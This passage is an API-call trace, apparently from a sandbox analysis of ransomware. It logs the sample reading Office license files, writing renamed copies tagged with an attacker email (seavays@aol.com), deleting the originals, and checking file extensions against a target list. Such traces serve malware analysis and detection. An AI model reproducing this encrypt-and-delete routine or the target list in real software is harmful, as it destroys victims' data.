lpString2="m-ms") returned -1 [0198.380] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.380] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0198.382] GetLastError () returned 0x0 [0198.382] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0198.384] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0198.386] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.386] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11c, lpOverlapped=0x0) returned 1 [0198.386] SetEndOfFile (hFile=0x488) returned 1 [0198.386] CloseHandle (hObject=0x488) returned 1 [0198.386] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.386] SetEndOfFile (hFile=0x44c) returned 1 [0198.392] CloseHandle (hObject=0x44c) returned 1 [0198.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 1 [0198.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0198.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0198.394] lstrlenW (lpString=".doc") returned 4 [0198.394] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.394] lstrlenW (lpString=".docx") returned 5 [0198.394] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.395] lstrlenW (lpString=".pdf") returned 4 [0198.395] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString=".xls") returned 4 [0198.395] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString=".xlsx") returned 5 [0198.395] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.395] lstrlenW (lpString=".ppt") returned 4 [0198.395] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0198.395] lstrlenW (lpString=".zip") returned 4 [0198.395] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString=".rar") returned 4 [0198.395] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString=".bz2") returned 4 [0198.395] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString=".7z") returned 3 [0198.395] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0198.395] lstrlenW (lpString=".dbf") returned 4 [0198.395] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0198.395] lstrlenW (lpString=".1cd") returned 4 [0198.395] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0198.395] lstrlenW (lpString=".jpg") returned 4 [0198.396] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.790] GetLastError () returned 0x0 [0198.790] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x550, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.793] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.793] WriteFile (in: hFile=0x550, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x114, lpOverlapped=0x0) returned 1 [0198.794] SetEndOfFile (hFile=0x550) returned 1 [0198.794] CloseHandle (hObject=0x550) returned 1 [0198.794] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.794] SetEndOfFile (hFile=0x370) returned 1 [0198.798] CloseHandle (hObject=0x370) returned 1 [0198.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1 [0198.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0198.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0198.801] lstrlenW (lpString=".doc") returned 4 [0198.801] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.801] lstrlenW (lpString=".docx") returned 5 [0198.801] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.801] lstrlenW (lpString=".pdf") returned 4 [0198.801] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.801] lstrlenW (lpString=".xls") returned 4 [0198.801] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.801] lstrlenW (lpString=".xlsx") returned 5 [0198.801] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.801] lstrlenW (lpString=".ppt") returned 4 [0198.801] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0198.801] lstrlenW (lpString=".zip") returned 4 [0198.801] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.801] lstrlenW (lpString=".rar") returned 4 [0198.801] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.801] lstrlenW (lpString=".bz2") returned 4 [0198.802] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.802] lstrlenW (lpString=".7z") returned 3 [0198.802] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0198.802] lstrlenW (lpString=".dbf") returned 4 [0198.802] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0198.802] lstrlenW (lpString=".1cd") returned 4 [0198.802] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0198.802] lstrlenW (lpString=".jpg") returned 4 [0198.802] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.805] GetLastError () returned 0x0 [0198.806] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0198.808] WriteFile (in: hFile=0x550, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.810] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x550, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x118, lpOverlapped=0x0) returned 1 [0198.810] SetEndOfFile (hFile=0x550) returned 1 [0198.811] CloseHandle (hObject=0x550) returned 1 [0198.811] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.811] SetEndOfFile (hFile=0x370) returned 1 [0198.815] CloseHandle (hObject=0x370) returned 1 [0198.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 1 [0198.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0198.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0198.817] lstrlenW (lpString=".doc") returned 4 [0198.817] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString=".docx") returned 5 [0198.818] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.818] lstrlenW (lpString=".pdf") returned 4 [0198.818] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString=".xls") returned 4 [0198.818] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString=".xlsx") returned 5 [0198.818] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.818] lstrlenW (lpString=".ppt") returned 4 [0198.818] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0198.818] lstrlenW (lpString=".zip") returned 4 [0198.818] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString=".rar") returned 4 [0198.818] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString=".bz2") returned 4 [0198.818] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString=".7z") returned 3 [0198.818] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0198.818] lstrlenW (lpString=".dbf") returned 4 [0198.818] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0198.818] lstrlenW (lpString=".1cd") returned 4 [0198.818] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0198.818] lstrlenW (lpString=".jpg") returned 4 [0198.819] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.820] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.822] GetLastError () returned 0x0 [0198.822] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0199.100] WriteFile (in: hFile=0x550, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0199.101] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.102] WriteFile (in: hFile=0x550, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0199.102] SetEndOfFile (hFile=0x550) returned 1 [0199.396] CloseHandle (hObject=0x550) returned 1 [0199.430] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.430] SetEndOfFile (hFile=0x370) returned 1 [0199.433] CloseHandle (hObject=0x370) returned 1 [0199.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 1 [0199.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0199.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0199.435] lstrlenW (lpString=".doc") returned 4 [0199.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.435] lstrlenW (lpString=".docx") returned 5 [0199.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.435] lstrlenW (lpString=".pdf") returned 4 [0199.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.435] lstrlenW (lpString=".xls") returned 4 [0199.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString=".xlsx") returned 5 [0199.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.436] lstrlenW (lpString=".ppt") returned 4 [0199.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0199.436] lstrlenW (lpString=".zip") returned 4 [0199.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString=".rar") returned 4 [0199.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString=".bz2") returned 4 [0199.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString=".7z") returned 3 [0199.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0199.436] lstrlenW (lpString=".dbf") returned 4 [0199.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0199.436] lstrlenW (lpString=".1cd") returned 4 [0199.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0199.436] lstrlenW (lpString=".jpg") returned 4 [0199.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.438] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.438] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0199.439] GetLastError () returned 0x0 [0199.439] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0199.442] WriteFile (in: hFile=0x53c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0199.443] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.443] WriteFile (in: hFile=0x53c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x118, lpOverlapped=0x0) returned 1 [0199.443] SetEndOfFile (hFile=0x53c) returned 1 [0199.443] CloseHandle (hObject=0x53c) returned 1 [0199.443] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.443] SetEndOfFile (hFile=0x370) returned 1 [0199.447] CloseHandle (hObject=0x370) returned 1 [0199.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 1 [0199.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0199.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0199.449] lstrlenW (lpString=".doc") returned 4 [0199.449] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString=".docx") returned 5 [0199.449] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.449] lstrlenW (lpString=".pdf") returned 4 [0199.449] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString=".xls") returned 4 [0199.449] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString=".xlsx") returned 5 [0199.449] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.449] lstrlenW (lpString=".ppt") returned 4 [0199.449] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0199.449] lstrlenW (lpString=".zip") returned 4 [0199.449] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString=".rar") returned 4 [0199.449] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString=".bz2") returned 4 [0199.449] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString=".7z") returned 3 [0199.449] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0199.449] lstrlenW (lpString=".dbf") returned 4 [0199.449] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0199.449] lstrlenW (lpString=".1cd") returned 4 [0199.449] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84 [0199.449] lstrlenW (lpString=".jpg") returned 4 [0199.449] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.450] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.451] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0199.452] GetLastError () returned 0x0 [0199.452] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0199.454] WriteFile (in: hFile=0x53c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d80, 